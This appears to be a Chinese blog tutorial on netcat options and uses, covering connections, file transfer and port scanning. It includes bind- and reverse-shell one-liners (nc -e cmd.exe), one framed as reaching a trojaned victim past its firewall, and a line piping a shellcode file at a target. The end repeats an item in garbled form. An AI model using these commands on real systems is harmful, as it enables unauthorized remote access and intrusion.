辉克's Blog

创造机会的人是勇者;等待机会的人是愚者

nc 使用说明

e prog 程序重定向,一旦连接,就执行 [危险!!]
-h 帮助信息
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
一.客户端–提交数据
这是最简单的使用方式,nc D:\Hacktools>nc -vv www.hacker.com.cn 80
Warning: inverse host lookup failed for 211.157.102.232: h_errno 11004: NO_DATA
www.hacker.com.cn [211.157.102.232] 80 (http) open
get / http/1.1
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Sat, 19 Mar 2005 18:57:40 GMT
Content-Type: text/html
Content-Length: 87
ErrorThe parameter is incorrect.

二.简单服务器
nc -l -p //这里-l参数表明nc处于监听模式,-p指定端口号.
nc -l -p 1234[假设这台主机ip为127.0.0.1
然后从客户端输入,nc 127.0.0.1 1234 然后你从任一端输入的数据就会显示在另一端了.
三.telnet服务器
nc有一个-e的选项,用来指定在连接后执行的程序.
在windows平台上可以指定-e cmd.exe[winxp,win2000,]如果是98就指定command.exe.linux
则指定-e bash
指定-e的效果是由你指定的程序代替了nc自己来接受另一端的输入,并把输入(命令)后反馈的
结果显示到另一端.
server(远程机器): nc -l -p 1234 -e cmd.exe
client(本地机器): nc 192.168.0.1 1234 就可以远程登陆server了
四.反向连接:
什么叫反弹端口?就是说,当对方中马后,不用你主动和对方连接,也就是说
不用从你的client端向对方主机上运行的server端发送请求连接,而是对方主动来连接你
这样就可以使很多防火墙失效,因为很多防火墙都不检查出站请求的。
server:nc -e cmd.exe 127.0.0.1 1234
client: nc -l -p 1234
五.文件传输:
功能强大的网络工具,只要你发挥想象力,你可以做任何事情!
P2P之间经常用OICQ、MSN传文件,是挺方便,但哪象是高手的做法?
发送方:
nc -nvv -l -w 5 -p 1234 -s 127.0.0.1 < file.zip 接受方: nc -nvv 127.0.0.1 1234 > file.zip
接受方没有装nc?那就用IE罗:
http://127.0.0.1:1234/t.zip
六.扫描端口
nc -z -w 2 -v -v www.somewhere.com port[,port[,port-port]]
-z 指定zero-I/O 模式,它让netcat禁止任何来自源系统的I/O,如果不指定它,netcat会无限
期的挂起端口.所以在网络扫描时要指定-z选项.
-w 指定超时时间,单位为秒
-v 详细模式
例: nc -z -w 2 -v -v www.somewhere.com 20-30,80,100-112,443
nc.exe -h即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] …
nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出–用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉–用于扫描时
端口的表示方法可写为M-N的范围格式。
================================================================
基本用法:
大概有以下几种用法:
1)连接到REMOTE主机,例子:
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口
2)监听LOCAL主机,例子:
格式:nc -l -p 80
讲解:监听本机的TCP80端口
3)扫描远程主机,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令“|”与重定向命令“<”、“>”等等命令功能更强大……)。
==============================================================
高级用法:
6)作攻击程序用,例子:
格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt 讲解:连接到192.168.x.x的80端口,并在其管道中发送c:exploit.txt的内容(两种格式确有相同的效果, 真是有异曲同工之妙:P) 附:c:exploit.txt为shellcode等 7)作蜜罐用[1],例子: 格式:nc -L -p 80 讲解:使用-L(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止 8)作蜜罐用[2],例子: 格式:nc -L -p 80 > c:log.txt
讲解:使用-L可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到c:log.txt中,如果把‘>’
改为‘>>’即可以追加日志
附:c:log.txt为日志
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:honeypot.txt 格式2:type.exe c:honeypot.txt|nc -L -p 80 讲解:使用-L可以不停地监听某一个端口,直到ctrl+c为止,并把c:honeypot.txt的内容‘送’入其 管道中’即可以追加日志 附:c:log.txt为日志等 9)作蜜罐用[3],例子: 格式1:nc -L -p 80 < c:honeypot.txt 格式2:type.exe c:honeypot.txt|nc -L -p 80 讲解:使用-L可以不停地监听某一个端口,直到ctrl+c为止,并把c:honeypot.txt的内容‘送’入其 管道中

发表回复